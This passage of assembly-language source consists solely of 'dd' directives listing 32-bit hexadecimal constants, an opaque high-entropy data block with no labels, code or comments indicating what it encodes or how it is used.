dd 27E8155Ch, 268D200h, 99484ACDh, 0DABB6038h, 92EDB86Eh
dd 49458501h, 1BC68996h, 16748140h, 1F8300E1h, 0CD87DF47h
dd 0FD72A11Ah, 4F3A0700h, 7CB3B514h, 5EF4001Eh, 69D617B4h
dd 4AF0505Fh, 0B5704600h, 0D179EFDFh, 648C073Fh, 64E5E5Ch
dd 3C0631D0h, 9B7A4506h, 91B10082h, 0BF594F6Bh, 8C07D7F7h
dd 4C467F4Dh, 0B41E7000h, 0D1ED0079h, 0BCD9A040h, 0FB905EF6h
dd 23527D00h, 9FE1F7B7h, 87E620h, 39507107h, 0C2E9EB34h
dd 0C4244F90h, 3F007854h, 0B3D6F0DAh, 3D2A00BDh, 91D7CCAAh
dd 9E006428h, 9234B26Ch, 0FF932h, 0FE7083B8h, 97D727A0h
dd 3D1C3B7Eh, 3E80AB53h, 0BC1EA998h, 69EE0E6Ch, 0E0A06015h
dd 80BD75D0h, 0C2A02A00h, 727A0F56h, 5EB5000Ah, 78161ABFh
dd 6A00D632h, 0B0C4ED1Ch, 485461B7h, 0A7398043h, 80BE899Ch
dd 4F0E7D78h, 0D2008C97h, 0E5710C36h, 31FEAACh, 0E774C77Bh
dd 0BFB8A129h, 2F003383h, 0B905B488h, 7A55E40Fh, 0DB6B2426h
dd 0B391013Ah, 30398C25h, 85017FDAh, 784C10C0h, 1660FBC1h
dd 291200E8h, 22A2ED73h, 0DD13E1CDh, 490290E6h, 4AA725F5h
dd 58484064h, 38FA008Bh, 5304A5B8h, 851E477Eh, 1840BED9h
dd 930E5C6Ch, 0F3510F5Ah, 0F36592h, 6112F5F8h, 0F41FE728h
dd 7EC0CBDCh, 0B20B5445h, 43A50032h, 30EDFBDFh, 2A00A709h
dd 0D02FAF99h, 0EEE2F4h, 5086EC55h, 3A11799Bh, 3E51BE09h
dd 0A2240C4Eh, 65F6A4h, 21CE618h, 755C1E4Fh, 0DD0013F6h
dd 0C00DCD21h, 982BF31Ah, 0F0D201ECh, 947AF5F1h, 109C05Fh
dd 0A41C27E0h, 0B5C07B2Ah, 468875A6h, 7814986Fh, 20514DEAh
dd 6A9D9800h, 5F3207D6h, 8D493506h, 5860127Ah, 69144AC4h
dd 0AA03F4B4h, 546B2FECh, 17C1A983h, 0CBEFC8DFh, 9E4930Eh
dd 3EC28098h, 0FB29038h, 0B3E79E7Eh, 40B12466h, 0EEAFEB02h
dd 40F3F680h, 3BB80AFCh, 0EF007284h, 8BAD512Dh, 94EA61B3h
dd 0B0CD9700h, 39ABB9C3h, 0A2F507D7h, 0D9AD9156h, 0CE02CC8Fh
dd 7C68B719h, 0F2039D81h, 6FEB8F28h, 119AE0Eh, 0C8928020h
dd 41D89F94h, 308D96F4h, 37487084h, 84F70188h, 0FBB72B07h
dd 314CCh, 0B286FDA3h, 5DABEC7Fh, 0CF9D5A02h, 0C87A6156h
dd 9546F4h, 10C8DB84h, 592255B7h, 9FCF2039h, 0D3C07176h
dd 0D34D9BFh, 0BE891BBh, 0B58028CCh, 48AE021h, 355DC702h
dd 62546AFEh, 98FC003Fh, 611C841h, 0E6E20768h, 805071B6h
dd 0FB007D94h, 1BEB2FA4h, 78D0E7h, 81ABC71Ah, 0E431AD21h
dd 0E0B648h, 0D22EA646h, 0EE7D4D5h, 69305301h, 95080137h
dd 0C4C3AAF6h, 0B022687h
dd 0F79EB04Eh, 184477h, 0AFB2987Bh, 0F9C874B9h, 635770E1h
dd 0FAE52600h, 7B5BCD1Ah, 0D8210446h, 0D0DC4E60h, 7F96C230h
dd 720B0084h, 4B650F51h, 971FFA69h, 7CCB2586h, 0CF6C2085h
dd 24D563B9h, 0F31F62h, 10DC98E7h, 0C660AF9Bh, 0E2351CC8h
dd 0B71B0055h, 0AEBBF753h, 3938543Fh, 4E1880C8h, 93EF1AA0h
dd 6F2C00B3h, 73902E95h, 0EA7336BDh, 6A561400h, 9B45DAE2h
dd 0D7050049h, 71699813h, 2C07841Ch, 687AFBDBh, 6B569E70h
dd 0EE6200AAh, 69E536F5h, 659083BDh, 9D6D6000h, 709EB9AEh
dd 2F1800FBh, 96744FACh, 880325C2h, 3C8BD2CBh, 0D8009DDBh
dd 0C3DDAA77h, 645701A3h, 99D02433h, 0FE0DDCB7h, 8003A500h
dd 0EACB1D26h, 91C43837h, 7F3B9F00h, 0FCB5253Ah, 0E60B148h
dd 266ED5Dh, 0C0517A26h, 5D81CE68h, 7403B8AEh, 1052D213h
dd 608AA3A9h, 91725D68h, 14A5720Eh, 312F00C0h, 1C56B609h
dd 8338C958h, 816E17C4h, 16F6ECB8h, 0CCF1187Eh, 0AD3AC714h
dd 7B007521h, 3486B3Fh, 2E69AFh, 817568B5h, 0BEEDCB93h
dd 869CD400h, 0DB59A5D6h, 835E00FFh, 0C5E2A9E9h, 883B078Bh
dd 357B064Fh, 4E808708h, 0BBFF8A5h, 0D17F2Dh, 0E76BF524h
dd 0F83B004Dh, 5D6675CAh, 0FA01BF0Ah, 0E21EDDD6h, 0B8606F2Dh
dd 0B9E50025h, 2FF50B5Bh, 0C926558Ah, 688064DBh, 85A407DDh
dd 76120492h, 85C8D5F8h, 0C35888F0h, 7C52FC00h, 77F0A0CDh
dd 14B0006Eh, 0A32FD9FEh, 85000C49h, 21312E04h, 818B12h
dd 0A95EAA80h, 0D0CEA4D3h, 0F7463F2Ch, 4B5D761Fh, 6894F287h
dd 0E74941D3h, 40578600h, 22A41C93h, 0D58B4F88h, 0C7DC2840h
dd 541FBF56h, 4EC91137h, 29E80074h, 0E4B564h, 17306898h
dd 807944F4h, 0D1C8EF50h, 5E736700h, 5B6D5739h, 0F39A0106h
dd 744B2C33h, 24A180BDh, 9FD3FDA7h, 9CF4134Ah, 2201641h
dd 888A89Bh, 272C1850h, 0DD073002h, 5E90BB31h, 54048E73h
dd 1ECAF089h, 0C914EBA6h, 784003E7h, 9002CC9Fh, 4D76CDFDh
dd 0B9B4A75Fh, 0A7195E00h, 0A8730053h, 1CC830F3h, 0A504DD91h
dd 17670893h, 0F7EB888h, 4A5F89F9h, 0B62669C0h, 837B3F1Dh
dd 0F117F2FAh, 20000642h, 8EF29B3h, 89A900D7h, 1B8F6888h
dd 95F83843h, 0F28C5800h, 0B6494010h, 9D2D48F1h, 1F4CE700h
dd 0A1D585DAh, 1842C00h, 7E52B52Ah, 93870570h, 8064033Bh
dd 4E4F8B38h, 9B0D0510h, 9C505B00h, 0A671C581h, 5902E57Bh
dd 0C2EC8E6Dh, 3DC4C07Dh, 208648C0h, 1639E60Fh, 80DDA6A5h
dd 0EF041570h, 40256110h, 5DCD800Ah, 0E81E39E8h, 0FD70C758h
dd 0E053A02Ah, 0B4007CF2h, 32A56DB5h, 9C54B6FCh, 0FC2A1738h
dd 0A245003Fh, 0E41FD033h, 0A7480753h, 81BB1D55h, 34AAA977h
dd 0DB0042F4h, 0C33C97B9h, 6615B17h, 0E07FD309h, 700151C6h
dd 2391C0BAh, 2920A631h, 9F6B073Eh, 6B78C5ACh, 0DF5D8420h
dd 3D1699AFh, 0EF000EFFh, 0A14205DCh, 0E2810193h, 7F54885h
dd 2D319E13h, 2BC391C0h, 4830FA03h, 2803C2D9h, 3633AA01h
dd 0F3B8C4C3h, 6002250Ah, 1D433B7Fh, 0BB28E11Eh, 74F63F0h
dd 4BAA2A17h, 0B1F7253h, 89813040h, 0AFE13112h, 41F55000h
dd 302A4A4Ch, 7C782334h, 0F6F20C24h, 8CDF1100h, 2E657770h
dd 0C79628D3h, 0F0FF73CCh, 0B7400BDh, 0A1D2CDDDh, 78583552h
dd 0B2EDCF54h, 0AFBA6021h, 55BE0900h, 1F18B7E6h, 0EAEEC175h
dd 1A47764h, 426B464Ch, 2001A591h, 0A07E1F5Dh, 7D0AD90Fh
dd 172D631Dh, 555AC216h, 1E9A8840h, 500ED271h, 2023444Dh
dd 1D3C8C0Eh, 0C9CC3851h, 75217D8Fh, 494FCFA0h, 2D2C4ADDh
dd 90002C55h, 41FE10A7h, 0C45D0067h, 4B78316h, 0A600290Eh
dd 0F1FA7C27h, 3B5FB35Eh, 0BE00D13Bh, 0C3AFE4A8h, 8900C1B4h
dd 0D81BADEBh, 9E7061h, 0E00A42CCh, 0A1958011h, 88F79B00h
dd 225BBDEFh, 0FFE91275h, 0E0AF0021h, 0B7FE5CD2h, 374BBC1Eh
dd 0B0809E00h, 7A1C93B4h, 0E1EEDDh, 64A7DC74h, 313BE440h
dd 0E22AE1Ch, 679450BEh, 70D3440h, 52AA1B1Ah, 0A67DC073h
dd 44007B5Ah, 99216227h, 50D4ACC3h, 4CA0F420h, 7803EDCAh
dd 367E0AAAh, 0AB5AEEC8h, 74752900h, 25E1CA1Eh, 34BC0BDAh
dd 7CA46AE9h, 6855409Ch, 3ED560A1h, 89A5783Ah, 7456421h
dd 0FC25F8A7h, 287BFB1Fh, 0D71D3E40h, 2EB1727h, 99CC6A79h
dd 4F60491Bh, 0FA2E4841h, 1F002A8Ah, 67B3243Eh, 3D4C000Ch
dd 32F80355h, 340BCFA1h, 0A1B66C8Dh, 0A22B9968h, 4800A43Dh
dd 4F61D441h, 0EC185C18h, 1EB028B4h, 5A6E1E6Dh, 0DD3EC0BAh
dd 7BC2BCDFh, 0CD785F02h, 40C7FF71h, 76D190h, 0FB2C2435h
dd 8F73E901h, 1004CD17h, 0BF13FC03h, 0B1D5CBFFh, 4AF07D9Bh
dd 8BD40145h, 5ACDC251h, 0ED80FC8Ch, 6ABDD304h, 0C8802FE3h
dd 0A9468304h, 3C4A0E9Ch, 0F181F800h, 0D89D75A6h, 0DF2ABF76h
dd 0BD0CB0B9h, 28FD8CC1h, 0B4A50C41h, 5C705EABh, 4C25F774h
dd 965E80h, 42EC3C15h, 60FDC629h, 0B70FE624h, 0C0F51055h
dd 61494EA2h, 0BB6D006Eh, 77FBE948h, 0B8A0C9E7h, 0B31D1DA4h
dd 3840185Ah, 7119F47Ah, 0B1DE0050h, 0FFC6564Eh, 2D00A62Bh
dd 9C020A14h, 610FADh, 0BF96F567h, 3CF05BCAh, 2D0E1CE4h
dd 0A644F632h, 0EB8B172h, 0FAA0F7A6h, 68A82240h, 52980626h
dd 20029D30h, 388A4D6h, 9E236C61h, 0B39080A6h, 510024D5h
dd 0A3DFB16Ah, 6EE73995h, 9B4030BFh, 0B9AD8881h, 1B5C1300h
dd 0A67B63FBh, 1EA9004Eh, 0A279BE94h, 9905EF9Bh, 5CD7AC66h
dd 0E5B33C80h, 7320003Fh, 0C1D9B439h, 372C8985h, 403078C0h
dd 0C07CF14Dh, 4F55E11h, 0A4B8F469h, 6BC2900Ah, 803EE4F2h
dd 0D8BCFF02h, 0BEB61Bh, 3F1EAEEAh, 87F87DF7h, 0A4741206h
dd 5D48A979h, 7A0920EEh, 7080C492h, 0E50CBF11h, 2B882A00h
dd 843509AFh, 7F41002Fh, 66FB2DF2h, 7800A259h, 32B8575Ch
dd 0F00C68E1h, 7617072Bh, 0C0A393CAh, 0D4D219Fh, 0E072F630h
dd 0E310509h, 0B0EBD94Ah, 0D711EFE0h, 0D47CC7D3h, 5F984F03h
dd 7B27F2BCh, 694200D0h, 0C6E9A859h, 0E01F3CBFh, 82FE1BF6h
dd 0BA5E1F0Eh, 8094D9B3h, 3F3E0BA4h, 0D4FB33E4h, 0A600400Dh
dd 1A5B8C32h, 0E186510h, 478A349Fh, 6084CF40h, 0E41CE5B0h
dd 7480D10Eh, 0C97EB2CEh, 0C2590003h, 87548EF9h, 0D15BEFA8h
dd 8FE08820h, 0ADB11F7Bh, 435CCB58h, 9217F864h, 0A400324Ch
dd 819AA014h, 0B0BE493Ch, 0CB044F22h, 0C92AE268h, 25D2EB00h
dd 0EF024E0Ch, 7301A6D3h, 7BC7330h, 125916AAh, 6470B145h
dd 993ED91Dh, 0CA0B7DC6h, 420D0048h, 60E1209Ch, 0C278F6B7h
dd 0FC0014BCh, 78CB8871h, 0AD1091F4h, 0C9343488h, 0A829D0C2h
dd 9707D0C0h, 5826B107h, 31C1B68Fh, 34D47BF8h, 0FDD40140h
dd 16284615h, 0B0DC6020h, 630F009Ch, 0DBDCE15Fh, 444D3F99h
dd 8D00106Ch, 4F1E4C1Dh, 0AB48FD37h, 1B031DC0h, 6191F140h
dd 5434236Fh, 0E6DC88h, 0FEEBC27Eh, 0B309A7CBh, 0A8530B02h
dd 0C8E46FECh, 79E618h, 0E905F4E3h, 0D61AC0A5h, 0A6003CB8h
dd 494359A4h, 1C69B85h, 4530C76Eh, 7854ECBFh, 461F0178h
dd 0C6AF0FB3h, 0B06834h, 8816265Fh, 0C56E3305h, 1E0C848h
dd 69914C93h, 0A020C4CBh, 0EEAB3E81h, 8C742B03h, 0E1A89422h
dd 0A7EA472Ch, 0E32AE490h, 8603BCDCh, 0DFBB249h, 0EDE1F8E8h
dd 0AA084C87h, 5E0E611Ch, 0AAEA854Bh, 4DC84FF3h, 21FC5A80h
dd 0A70F28CCh, 47E649D3h
dd 83E9D17Eh, 0F2C8CBF0h, 0EE808F2Ch, 0E6E4609Fh, 2847E1h
dd 0DDE74021h, 618B3C8Eh, 0A163FC01h, 0E26B28Ah, 98389040h
dd 8572002Ch, 959E031Fh, 21E68DA4h, 6F55100h, 27AD4376h
dd 34B12F8h, 16A40E91h, 402F04A0h, 0E4F695C4h, 876B1F3Dh
dd 0D57778A7h, 43F3AF70h, 22F92EDFh, 0FC6D07C4h, 0A6D1B058h
dd 0B8002768h, 3574CE69h, 0A048682h, 8E38318h, 904100C4h
dd 0CC3DDDAh, 0FA47601Fh, 5FC1CE80h, 0BDAEF1h, 253588E4h
dd 1A38E697h, 15F3ED0Eh, 0A2E16044h, 62BECDh, 0DE12F742h
dd 25FA56F5h, 0EFDFB000h, 49F03D2Dh, 2BBFEBEh, 3530A06Eh
dd 48C0C3C5h, 0EE04BA9Eh, 3E491A1Fh, 4C10ECA2h, 0DED21DA9h
dd 2EDD94Eh, 406D2935h, 12D3228h, 2B137C12h, 60A32737h
dd 0C700960Dh, 0E74FFC74h, 4CACBD75h, 971D29E2h, 957D4049h
dd 0FB523A24h, 4437A824h, 92FF7F08h, 0C234A2CEh, 602760DDh
dd 8F1934h, 3CC4262Dh, 15FAABF1h, 32894F07h, 822B48AAh
dd 43D51120h, 0D61DC0ADh, 3F6D2CC4h, 772B0586h, 51CCC004h
dd 170059B8h, 0FCDBED9Dh, 1347A8C6h, 0C089C207h, 2B8CADF0h
dd 7200A8B6h, 621A11D1h, 0C3FA81h, 0CB5DFEC8h, 0D807CDBBh
dd 7FFC172Eh, 0F2EE2230h, 0BE30003Bh, 7437B8C4h, 16075E04h
dd 0ADEB10FAh, 0C1D80600h, 22A11C7Ch, 9FAB4008h, 4E398AC7h
dd 9EB24F00h, 6526934h, 26A50BE0h, 6C215101h, 0F48D7AC7h
dd 549EA77Fh, 0EA002017h, 0B2AE9D23h, 16530456h, 0B0B55CADh
dd 4F00D08Ch, 0D50AC3CAh, 811042h, 7DF8B320h, 0AAF59056h
dd 49453900h, 1BBE315Eh, 0E23D004Ah, 3F0F6F67h, 500C7E8h
dd 4B92DB3Ah, 26C0CA72h, 614811A6h, 34CE97B7h, 3D000F18h
dd 0C05632CCh, 2D86508Dh, 8485C5DFh, 0A164C5E2h, 0D7B5C884h
dd 36BACC00h, 0EECAA5B3h, 32B90333h, 0C7CDD051h, 0F35808E0h
dd 1E9A9F00h, 0C0F95DC5h, 78590E1Fh, 51C018BCh, 8D1D94F8h
dd 5C9E8F00h, 0F27C9FDBh, 14F90130h, 0DA6C7E34h, 0F786F8D0h
dd 0D3E40B09h, 513000F6h, 0F00CFDC0h, 374E003Ch, 0B001B24Ah
dd 5D00A16Fh, 0A41B74EDh, 0BA96795h, 0D3DA0A28h, 4560DA80h
dd 0B005FA7h, 7FD13CC0h, 39B08A74h, 3900E187h, 0D20319ACh
dd 25F2B9DCh, 0F8EE1324h, 97287B00h, 1F818C29h, 80E03ACBh
dd 691C9A2Bh, 0FE0565A7h, 40B5B314h, 0C457AB07h, 0AF9456E0h
dd 0B01D3D9Dh, 5B03BCD8h, 2BC5D8FFh, 25E2C2D8h, 0AD774A13h
dd 84CBBD00h, 5C8E94h, 0ACDBC062h, 0CD05A2E8h, 4801EB00h
dd 55AAB274h, 19E60333h, 0B6ECC6BDh, 0DCDE17E8h, 3EB71C3Dh
dd 9F0277BFh, 5FAE896Ch, 0A64C40FBh, 68A21C21h, 0D62583FCh
dd 5AC8E72Ah, 0CFEE63B6h, 1EC40A00h, 0F6159FB7h, 8D49005Bh
dd 0A9096C4Dh, 891245C3h, 890FA174h, 520D60EFh, 0A38EB5h
dd 0C02F2EB2h, 634EF50Ch, 0C154691Fh, 0DC80340h, 3DA9E32Ah
dd 72004AADh, 0D1C99BCBh, 7E7CE721h, 0CF0AA40Fh, 526C0033h
dd 2CE8Dh, 40310E4Eh, 0DA4A266h, 1032CF2Ah, 80A90540h
dd 5AE87974h, 0F0C81120h, 3C10C019h, 7A750E59h, 20C920CEh
dd 0F1F4B021h, 60EF7D81h, 0A252D889h, 58DE6416h, 74316F00h
dd 626E586h, 4E20CEA9h, 0BF7C507Ah, 0FEF6C14h, 0E70C261Ch
dd 76E13930h, 29E91DA9h, 0EDE80C1Eh, 9A004460h, 0FB4ACB6Ah
dd 3F0AE1h, 4E8FD881h, 0A0CFC223h, 0ED78B700h, 0A859A122h
dd 3D5403B2h, 1D6F10C6h, 0CBFB1801h, 750C94C5h, 6E5DDF0h
dd 73A0702Ah, 0BC1D204Ch, 90B08959h, 3E2EDEC6h, 3060A4CBh
dd 4AE9C5A2h, 29CE8E03h, 627A8C9Bh, 87144018h, 7442870Fh
dd 0EFB4FD81h, 0D843D1E3h, 1A8D2982h, 4871E0h, 640360F1h
dd 448E3277h, 0D5F93163h, 0E35A6C09h, 1070890Ch, 0FBE51F1h
dd 0B7B0C6BCh, 7E9BD1B8h, 0F2CC6750h, 4F073D18h, 50DC041h
dd 980C88Bh, 0CDF44024h, 0A0F61D56h, 0C64D1B03h, 0E0782E4Ah
dd 0DA5E398h, 0C26143BBh, 31600760h, 0F03CED50h, 693048ABh
dd 0BDDE2DCh, 8BBE006Ah, 2FF004F1h, 0B5005FFFh, 52E84B4Fh
dd 0C3AD09h, 0F9C76151h, 8ECB758Bh, 0FA6A239h, 702B204h
dd 0A790EBD7h, 4FABD3Ah, 9B9E9A2Fh, 0DE3C384h, 175D4588h
dd 0FA4F2D27h, 7EF826EBh, 0C6B000E6h, 0A18460F7h, 81B87600h
dd 0BBCC53BDh, 8C1201BEh, 60FB984Ch, 54D0825Bh, 44045F8Dh
dd 0AB7200BCh, 0B9FAB20Eh, 0CF7D6081h, 216808CCh, 0EA30E8Ch
dd 0A660E9F2h, 6D92970Bh, 70F76105h, 0D81E7430h, 0F4E865C0h
dd 28CB2122h, 28F0ADB4h, 4B4C1E5h, 0D9BE4D5Bh, 0F06C97F3h
dd 74B02DEBh, 4E40D106h, 6008610Ch, 0F34F21F9h, 0CE152E2Dh
dd 44EC23A0h, 0E5094DD8h, 211A2C43h, 69231058h, 52822081h
dd 806D45B8h, 32634C29h, 0C56E7E8h, 8EEF21A9h, 21C07008h
dd 1032BEA3h, 89B3047h, 72200551h, 4A05F071h, 6DADFFF3h
dd 0C05E9848h, 0FAB50EAAh, 6722A146h, 0EA28900h, 0C5EEF559h
dd 8CA506E5h, 0A86E6B08h, 29730430h, 3B0B46h, 8B86CEE4h
dd 0AEC08771h, 0D5738A0Ch, 104F120h, 4EF15175h, 0F3C8F3E7h
dd 0F5A6A802h, 0A8C44347h, 2903B0B4h, 0B514FBh, 50D7A10h
dd 5A823BDEh, 8838B0Ah, 0CE02FBBBh, 5FFFA3ADh, 731E5A60h
dd 0A28A4A00h, 0D2BE1A6Ah, 0BCA71DD1h, 0C90180E2h, 0DA055451h
dd 0E0B32B1Dh, 0CF4B0C00h, 32EB49Bh, 571BCE62h, 837966Ah
dd 43D021F3h, 7E6280B4h, 8F420FABh, 3E89C2DDh, 0EF809C8Eh
dd 0A02E2CDAh, 9FF69E01h, 178FD6C3h, 4A6B088Ch, 6003B20h
dd 0D03EF1A0h, 3FA20A1h, 707ACF12h, 68031DABh, 5710EFB1h
dd 307848h, 0E911496Bh, 7B3613D2h, 823CA33h, 15210047h
dd 0D0CE1131h, 16013B56h, 0EA0FE4ABh, 5883F43Eh, 15136E94h
dd 0EFC91860h, 38EF6FAh, 546CDBE2h, 0CDBF03C2h, 5E4CF8D0h
dd 301D9B31h, 0D980784Fh, 764506CFh, 6300C433h, 1080844Eh
dd 0DA90731h, 0BAEA25F0h, 43C091C9h, 0D2113683h, 46311B8Ah
dd 113E1610h, 78546300h, 0EC4BDD17h, 43963003h, 988BFD90h
dd 0B85A2600h, 0EE9CE7BAh, 0AEC80046h, 0FC48B27Eh, 9E00494Ch
dd 78472E51h, 0A29663h, 4DDCCFAh, 21E6B354h, 0AF6F7A00h
dd 689A271Eh, 0F2CE2CB9h, 80181CF1h, 30E7852Fh, 760EED70h
dd 60497B99h, 8A1FDF0Ch, 5EA500EAh, 38AA2AD2h, 23E09D1Ch
dd 0E688C500h, 0AEBE28F7h, 0BD8305Bh, 0C02AC248h, 6784473Dh
dd 15833410h, 0E3D2F818h, 0A677067Bh, 78889978h, 0F7003F70h
dd 0E1DB1830h, 384BE6C8h, 0C0798A44h, 3E049168h, 4F00EEC5h
dd 0BD41DA69h, 5F2850h, 12A065F1h, 6702ED3Ch, 0D4732104h
dd 0D184143Ah, 28A0C6h, 57712391h, 0AA6B810Ch, 70786874h
dd 79E29900h, 491B2C20h, 720DFF5h, 709DBBD2h, 6EA33F5Eh
dd 0BBC7683Eh, 915B008Dh, 0E539EED0h, 0B10007Bh, 0D49DDBBDh
dd 0C739C33Ch, 0E7138ED5h, 0FF9560DFh, 2188B64h, 0F2F8E5Bh
dd 0EAC0A698h, 303BD9BCh, 5F2D80B2h, 0E5F08FD7h, 75810040h
dd 0C68E4B0Fh, 0F700326Bh, 0A85A2343h, 1D19AB1Ch, 0AA4798h
dd 0BD2CC117h, 0D773C03Dh, 954B2303h, 0C421492h, 78A89720h
dd 31C04EBAh, 3E671199h, 9467966h, 33B10F5Ah, 65000C09h
dd 0D6778B4Eh, 38C1D800h, 41EDFB58h, 0C5D9017Fh, 2D96E7DDh
dd 0F2B3D440h, 3B732300h, 0F1E04917h, 5D1A077Fh, 10153AC5h
dd 9AC7CF1Eh, 8DA2FC06h, 7911272h, 0B46E04A7h, 1B35F0D6h
dd 0CA0E3A77h, 0C0DA8A31h
dd 0C32D1079h, 0BC806F7h, 39179496h, 2073CECh, 953B58BAh
dd 458090D7h, 756240h, 8E8D6C09h, 0D11F891Dh, 7F9A2A03h
dd 0A038D724h, 33C721h, 3EBCE495h, 3111416h, 0A4005376h
dd 22840D4Ch, 6062C5E3h, 0E019482Ch, 6E038C72h, 0A663AA5Dh
dd 740DE015h, 0ADDD0627h, 70BC7B9Dh, 92003EF8h, 0A74DC1BDh
dd 0F59484h, 0C8B8A9F4h, 0E52B89E8h, 0EB8FE101h, 2575A314h
dd 6E6DA980h, 0E9BDC5F1h, 521ECD00h, 57958936h, 0DEF80C65h
dd 0E56163E0h, 2F91EA00h, 736C9D0Eh, 471700A8h, 22676388h
dd 0D900E3C3h, 0A24FCFD0h, 18DD08CCh, 3830395Bh, 830FB969h
dd 1F5D237Dh, 0C8B1D1C0h, 0C61A3Dh, 77B80462h, 0E096ED7Fh
dd 0A38B9B00h, 938D39DEh, 107EA15h, 85CC6A40h, 0DCA99275h
dd 65025A4Fh, 0F5DC4BF7h, 0C8BB403Bh, 3C60FCBFh, 5E801C8Ch
dd 0F7FBB31Ah, 330E5DCFh, 0C641BA31h, 2B407635h, 0D004AACBh
dd 3E60B60Ah, 0F253C210h, 0E7CC00EDh, 9574286Dh, 0C407EEF8h
dd 700A4ADEh, 0C8601DF0h, 295F641Ch, 9F4E2179h, 1171EC11h
dd 851255A2h, 89F7E910h, 665180B8h, 10A82B5Eh, 0D7301C36h
dd 6CC7C0E1h, 0C2538185h, 0C600D573h, 5928FDA5h, 7F12A7h
dd 4E9AD072h, 24E75263h, 3BC77C00h, 0E47406A1h, 5E950014h
dd 35BF422Fh, 6600982Bh, 0CD23DC88h, 28D9CA4Eh, 80D2A7h
dd 7062C3F3h, 5DF25EC9h, 0FFACF000h, 512F95FAh, 0ED60003Eh
dd 1E356CE9h, 0BD1F0C08h, 0FF28C8ACh, 0B2C6E200h, 0BC6CA6C5h
dd 0A7B43FE9h, 21325418h, 45009067h, 0EB7D100Dh, 0F6CFDC3h
dd 36202F80h, 0C7D8DC23h, 478339AFh, 0FA7BDB8h, 0B61C5D60h
dd 0E900B731h, 0C564A0E8h, 1DB1FEBh, 850E9479h, 20FB2786h
dd 3D00F771h, 72FCB1ADh, 3D66C39Dh, 4D94DB73h, 8800F045h
dd 0A823321Bh, 1A07BE4Bh, 7E024EBh, 278362A0h, 0A71002Bh
dd 0C351E841h, 0A40068C8h, 0E4D17655h, 3C472DF0h, 0E800AFD5h
dd 0F5F870CEh, 1A006C99h, 2B495A85h, 919A11h, 0D27D39Eh
dd 0DDFC58B1h, 886A0200h, 0B81D5B20h, 7CF30026h, 0AB850D5Dh
dd 0D74C9972h, 87DA0052h, 65264E4h, 31D3306Dh, 60EE1A11h
dd 90E6E100h, 0E72F16C4h, 0B1B80E33h, 0CE8A9EBEh, 9928DCh
dd 0BB3D230Eh, 8A129F31h, 1189FCEBh, 0A8493303h, 0F0C05CE7h
dd 3D268069h, 9C1460D3h, 0B90090EDh, 6E1EC5E6h, 9938B6FAh
dd 3B728012h, 84D630ACh, 0A92E3A70h, 0B24E94B0h, 0DC0090A7h
dd 1969D5EAh, 1065EFBh, 31FD27A9h, 0C0C88AD9h, 7B715955h
dd 5C0032B8h, 0CEF244EBh, 0C0C4B98Ch, 5AFC94A2h, 0BE0002A9h
dd 0B6195D0Ch, 3E550171h, 0FD01E760h, 40C026F9h, 4620E867h
dd 0E3C74903h, 0C8B4F50Ch, 1EBB91Bh, 83520243h, 0D0D4B23Eh
dd 2C003051h, 2B58F50Ah, 0CBD137h, 152277BAh, 1963BD5h
dd 0E0262C1Ch, 600D2381h, 61D4D083h, 0E6D60ACEh, 1A8D750h
dd 2CC8CA3Fh, 879F40C5h, 947028DFh, 0EB4EF100h, 935F70D0h
dd 617900A9h, 58BB2E38h, 363B8460h, 0CE0180DAh, 0E2D6563Dh
dd 3AD33D09h, 0A8DF50F0h, 189A200Eh, 31C12200h, 4EA692F8h
dd 0A0595054h, 0D66B00CDh, 0B5A4D249h, 5B03BB04h, 0DAEC2D9Bh
dd 0E1ADB074h, 0C7B058Eh, 0BB38CC69h, 3E2FC900h, 3B750Bh
dd 0F0444C51h, 63CAF9A9h, 6C009274h, 0D1D0E613h, 2CFDC257h
dd 36674Fh, 2118A3AAh, 6A303807h, 515C50D9h, 197E00EAh
dd 0F227DC71h, 0F72D066Eh, 2CD87Ah, 38D13FA2h, 0FC25904h
dd 0F322D8E9h, 0BC9FE20Eh, 10FFC0DDh, 39D0D197h, 0BB00C37Dh
dd 0B2A298B3h, 760060CCh, 0D3313053h, 0FC8588h, 6CE2233Ah
dd 4602BE57h, 6FF8D490h, 0FFD72100h, 0D12831BDh, 73D50180h
dd 0F9F003A3h, 44CEFC20h, 0C7ABEB1Eh, 7A10B0BCh, 720A1AAEh
dd 8C9F01AAh, 0E23D6F1h, 83806017h, 0C6003D7Bh, 4A9DB1Dh
dd 3DC5558h, 999003E5h, 2588B1EBh, 16F467C7h, 0CD6E5A07h
dd 0B0802A5Fh, 0A6DD8Bh, 48FDB50Dh, 4A8EE52Ch, 820BA0Fh
dd 8BD2A0E6h, 1603AB28h, 0D0E00Eh, 1EB8F224h, 0D52DB51Dh
dd 6D5442h, 0C7D441A9h, 0F2074361h, 0E5BDA752h, 1F1ED030h
dd 24AD0095h, 9E18C85Eh, 97013477h, 7D42C2A9h, 4DECBA6Eh
dd 3C8D00B3h, 8B085CE0h, 640F9F6Ah, 1E4A99F6h, 0E5851380h
dd 3A03676h, 0C28E6945h, 55C86448h, 9500E4C6h, 209CE989h
dd 72601Ah, 0F14CDC41h, 35D665FAh, 48D83400h, 51B0703Ah
dd 7C4D0011h, 139A5450h, 0EC00826Fh, 6BD15B5Dh, 70EE16h
dd 43C0F7FFh, 0EB2287E3h, 0C8ED973Fh, 2B1F07A0h, 93208CA6h
dd 0BA662Ah, 51E07208h, 0D031C9AEh, 89733F00h, 8D18465Ah
dd 9AB8059Ch, 3B1564h, 331D2EA2h, 6914C2B7h, 24B61AB3h
dd 6E04A03Ah, 102CF87Bh, 212840h, 0B1B9424Dh, 0E5FE403h
dd 6E018173h, 0AB78EA56h, 0F20EBCCh, 836D008Bh, 59FF36AEh
dd 6E0080A9h, 941ED9B0h, 93BFA2Ch, 44BDCEEDh, 0BE7E3098h
dd 200E1601h, 75F886DAh, 0F76F6C0h, 870B621Fh, 97F012E0h
dd 0DE07AA1Bh, 185C613Ch, 0CE0ADC0h, 734700B2h, 3988C25Dh
dd 7E001C8Eh, 421F3EDDh, 90CF0E82h, 0F346031Ch, 189FC029h
dd 663EC094h, 303B5CEDh, 0CCDF80EAh, 28F7C236h, 0B60B0584h
dd 80E3B515h, 0CF61E235h, 34862A0Fh, 20CA1D9h, 0A6F487FAh
dd 75AD0073h, 4C24ECBDh, 0AB00123Dh, 3AB26766h, 98DDCCh
dd 29E90215h, 4E42CD9Fh, 43936B03h, 8F4B62ADh, 0F637B5B2h
dd 0D7110042h, 0A694D88Dh, 44D2F316h, 0CC3B1000h, 0E5D4049h
dd 14859065h, 0E5FC8480h, 58E80BCBh, 82DF5C00h, 3C14A0Ah
